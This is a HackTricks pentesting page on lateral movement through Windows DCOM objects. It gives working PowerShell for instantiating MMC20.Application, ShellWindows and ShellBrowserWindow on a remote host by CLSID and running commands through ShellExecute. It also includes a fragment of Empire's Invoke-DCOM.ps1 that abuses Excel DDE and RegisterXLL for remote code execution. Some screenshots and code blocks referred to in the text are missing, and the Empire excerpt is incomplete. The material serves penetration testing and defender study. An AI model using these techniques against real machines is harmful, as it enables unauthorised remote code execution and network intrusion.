Support HackTricks and get benefits!


DCOM (Distributed Component Object Model) objects are interesting due to the ability to interact with the objects over the network. Microsoft has some good documentation on DCOM here and on COM here. You can find a solid list of DCOM applications using PowerShell, by running Get-CimInstance Win32_DCOMApplication.
The MMC Application Class (MMC20.Application) COM object allows you to script components of MMC snap-in operations. While enumerating the different methods and properties within this COM object, I noticed that there is a method named ExecuteShellCommand under Document.ActiveView.
You can read more on that method here. So far, we have a DCOM application that we can access over the network and can execute commands. The final piece is to leverage this DCOM application and the ExecuteShellCommand method to obtain code execution on a remote host.
Fortunately, as an admin, you can remotely interact with DCOM with PowerShell by using “[activator]::CreateInstance([type]::GetTypeFromProgID”. All you need to do is provide it a DCOM ProgID and an IP address. It will then provide you back an instance of that COM object remotely:
It is then possible to invoke the ExecuteShellCommand method to start a process on the remote host:

ShellWindows & ShellBrowserWindow

The MMC20.Application object lacked explicit “LaunchPermissions”, resulting in the default permission set allowing Administrators access:
You can read more on that thread here. Viewing which other objects that have no explicit LaunchPermission set can be achieved using @tiraniddo’s OleView .NET, which has excellent Python filters (among other things). In this instance, we can filter down to all objects that have no explicit Launch Permission. When doing so, two objects stood out to me: ShellBrowserWindow and ShellWindows:
Another way to identify potential target objects is to look for the value LaunchPermission missing from keys in HKCR:\AppID\{guid}. An object with Launch Permissions set will look like below, with data representing the ACL for the object in Binary format:
Those with no explicit LaunchPermission set will be missing that specific registry entry.


The first object explored was ShellWindows. Since there is no ProgID associated with this object, we can use the Type.GetTypeFromCLSID .NET method paired with the Activator.CreateInstance method to instantiate the object via its AppID on a remote host. In order to do this, we need to get the CLSID for the ShellWindows object, which can be accomplished using OleView .NET as well:
As you can see below, the “Launch Permission” field is blank, meaning no explicit permissions are set.
Now that we have the CLSID, we can instantiate the object on a remote target:
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39
$obj = [System.Activator]::CreateInstance($com)
With the object instantiated on the remote host, we can interface with it and invoke any methods we want. The returned handle to the object reveals several methods and properties, none of which we can interact with. In order to achieve actual interaction with the remote host, we need to access the WindowsShell.Item method, which will give us back an object that represents the Windows shell window:
$item = $obj.Item()
With a full handle on the Shell Window, we can now access all of the expected methods/properties that are exposed. After going through these methods, Document.Application.ShellExecute stood out. Be sure to follow the parameter requirements for the method, which are documented here.
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
As you can see above, our command was executed on a remote host successfully.


This particular object does not exist on Windows 7, making its use for lateral movement a bit more limited than the “ShellWindows” object, which I tested on Win7-Win10 successfully.
Based on my enumeration of this object, it appears to effectively provide an interface into the Explorer window just as the previous object does. To instantiate this object, we need to get its CLSID. Similar to above, we can use OleView .NET:
Again, take note of the blank Launch Permission field:
With the CLSID, we can repeat the steps taken on the previous object to instantiate the object and call the same method:
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)
As you can see, the command successfully executed on the remote target.
Since this object interfaces directly with the Windows shell, we don’t need to invoke the “ShellWindows.Item” method, as on the previous object.
While these two DCOM objects can be used to run shell commands on a remote host, there are plenty of other interesting methods that can be used to enumerate or tamper with a remote target. A few of these methods include:
  • Document.Application.ServiceStart()
  • Document.Application.ServiceStop()
  • Document.Application.IsServiceRunning()
  • Document.Application.ShutDownWindows()
  • Document.Application.GetSystemInformation()

ExcelDDE & RegisterXLL

In a similar way it's possible to move laterally abusing DCOM Excel objects, for more information read https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
## You can see here how to abuse excel for RCE
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")


The Powershell script Invoke-DCOM.ps1 allows to easily invoke all the commented ways to execute code in other machines.


Support HackTricks and get benefits!